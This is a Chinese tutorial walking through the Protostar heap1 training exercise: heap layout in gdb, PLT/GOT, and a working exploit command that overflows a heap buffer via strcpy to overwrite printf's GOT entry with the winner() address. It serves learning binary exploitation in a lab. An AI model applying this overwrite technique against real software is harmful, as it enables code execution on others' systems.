二进制安全虚拟机Protostar靶场(6)堆的简单介绍以及实战 heap1

在这里插入图片描述

前言

这是一个系列文章,之前已经介绍过一些二进制安全的基础知识,这里就不过多重复提及,不熟悉的同学可以去看看我之前写的文章

程序静态分析

https://exploit.education/protostar/heap-one/

在这里插入图片描述

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {  #定义了一个名为 internet 的结构体
  int priority;  #定义了一个int 类型的 priority函数
  char *name;  #定义了一个 char 指针 name 函数
};

void winner()  #winner函数
{
  printf("and we have a winner @ %d\n", time(NULL));  #输出and we have a winner @ %d\n", time(NULL)
}

int main(int argc, char **argv)  #主函数,参数是从命令行里获取的
{
  struct internet *i1, *i2, *i3;  #声明了三个指针变量,i1、i2和i3,它们都是指向struct internet类型的结构体的指针

  i1 = malloc(sizeof(struct internet));  #为 internet 结构体分配内存
  i1->priority = 1;  #访问 i1 指向的结构体中的 priority,赋予1值
  i1->name = malloc(8);  #分配8个字节的内存

  i2 = malloc(sizeof(struct internet));   #为 internet 结构体分配内存
  i2->priority = 2;  #访问 i1 指向的结构体中的 priority,赋予2值
  i2->name = malloc(8);  #分配8个字节的内存

  strcpy(i1->name, argv[1]);  #将第一个命令行参数复制到 i1
  strcpy(i2->name, argv[2]);  #将第二个命令行参数复制到 i2

  printf("and that's a wrap folks!\n");  输出and that's a wrap folks!
}

主函数的分配指针看着有些复杂,我们实际调试一下就能理解了

程序动态分析

使用gdb打开程序,在第一个malloc函数处下一个断点

在这里插入图片描述

在这里插入图片描述

我们要输入两个命令行参数才能运行程序

在这里插入图片描述

在这里插入图片描述

现在停在了这里,我们可以输入n执行malloc函数,为 internet 结构体分配内存,i1 和 i2 是指向这些结构体的指针

在这里插入图片描述

在这里插入图片描述

现在程序给我们分配了一个堆,地址是0x804a000-0x806b000,现在可以查看堆空间里的内容

在这里插入图片描述

现在堆里只有两个数据,0x11-1,0x10是第一个mallco函数给我们分配的空间大小,为什么要减一呢,因为在这个堆中保存数据是,为了区分是否是空闲区域,都会在表示大小的值后面加一个1,+1了就说明当前空间已经被存放了数据,那这里为什么后面存放的数据都是0呢,是因为这个程序是从命令行参数里获取值然后保存的,我们运行程序时没有输入参数,所以这里都是0

而最后的0x20ff1,表示空余的堆空间的大小

输入n,执行下一个指令,然后查看堆空间

在这里插入图片描述

在这里插入图片描述

这里按照程序 i1->priority = 1; 访问 i1 指向的结构体中的 priority,赋予1值

在这里插入图片描述

输入n,执行下一个指令

在这里插入图片描述

在这里插入图片描述

程序给我们分配8个字节的内存,0x0804a018是之后存放这8个字节的堆地址,前面标记的整数可以很方便帮助我们计算,所以第18的地址是图中圈起来的,程序会将我们输入的值,放入这里

在这里插入图片描述

输入n,执行第二个分配堆空间的操作

在这里插入图片描述

在这里插入图片描述

操作逻辑是和第一个一样的,0x0804a038地址也是我们第二个参数存放的地址,也就是图片上圈起来的地方

在这里插入图片描述

现在我们将输入的内容放入堆中

在这里插入图片描述

在这里插入图片描述

了解了这个程序的运作机制,现在我们可以想想怎么破解程序了

漏洞点还是出在strcpy函数身上,strcpy函数不会检查目标缓冲区的大小,很容易导致缓冲区溢出,我们可以覆盖掉第二个参数的写入地址0x0804a038,那么程序就可以在任意地址写入我们指定的值

什么是plt表与got表

这里举一个例子,我们用file工具查看文件信息可以发现

在这里插入图片描述

他是动态链接库的,意思是从libc里调用的函数

在这里插入图片描述

比如这里的gets函数,他不是二进制文件本身里面自带的,而从本机上的libc库中调用的,这样就能缩小文件体积

而plt表的作用是当程序需要调用一个外部函数时,它首先跳转到PLT表中寻找该函数对应的入口,PLT入口包含跳转指令,然后跳转到GOT表中的相应地址,GOT中的地址会指向解析函数,之后解析函数将实际的函数地址写入GOT表,以便后续直接跳转调用函数

实际操作一下就理解了

在这里插入图片描述

这里puts函数的plt表地址是0x80483cc,我们可以查看这个地址

在这里插入图片描述

然后跳转到了got表的地址,调用puts函数

在这里插入图片描述

这里我们可以覆盖掉printf函数got表地址,让程序执行printf函数时跳转到winner函数地址

在这里插入图片描述

破解

覆盖第二个malloc写入字符的地址,所需要的垃圾字符数

python -c "print('A'*20)"

我们可以使用echo工具来输入不可见字符,printf函数的got表地址0x8049774

在这里插入图片描述

这里gdb将printf函数解析成了puts函数,第一个参数确定了,我们还需要winner函数的地址

在这里插入图片描述

./heap1 "`/bin/echo -ne "AAAAAAAAAAAAAAAAAAAA\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\x04\x08"`"

在这里插入图片描述

成功跳转到winner函数,这里我们也可以使用gdb查看堆空间

在这里插入图片描述

在这里插入图片描述

原本的0x0804a038被我们改成了printf函数got表的地址,之后我们输入的第二个参数就会覆盖掉printf函数got表原本的地址,变成winner函数地址,当程序调用prinf函数时,就会跳转到winner函数

堆是一个很难的部分,为了方便入门,这篇文章只是简单的介绍了一些堆的运作机制,之后的文章再慢慢介绍其他的机制

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-30 06:56:03       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-30 06:56:03       106 阅读
  3. 在Django里面运行非项目文件

    2024-01-30 06:56:03       87 阅读
  4. Python语言-面向对象

    2024-01-30 06:56:03       96 阅读

热门阅读

  1. 机器学习复习(1)——任务整理流程

    2024-01-30 06:56:03       60 阅读
  2. 怎么创建docker镜像

    2024-01-30 06:56:03       60 阅读
  3. 升级anaconda中python到3.10版本

    2024-01-30 06:56:03       47 阅读
  4. 中间件

    2024-01-30 06:56:03       46 阅读
  5. 大语言模型的未来进化路径及其影响

    2024-01-30 06:56:03       53 阅读
  6. docker 修改镜像存储路径

    2024-01-30 06:56:03       48 阅读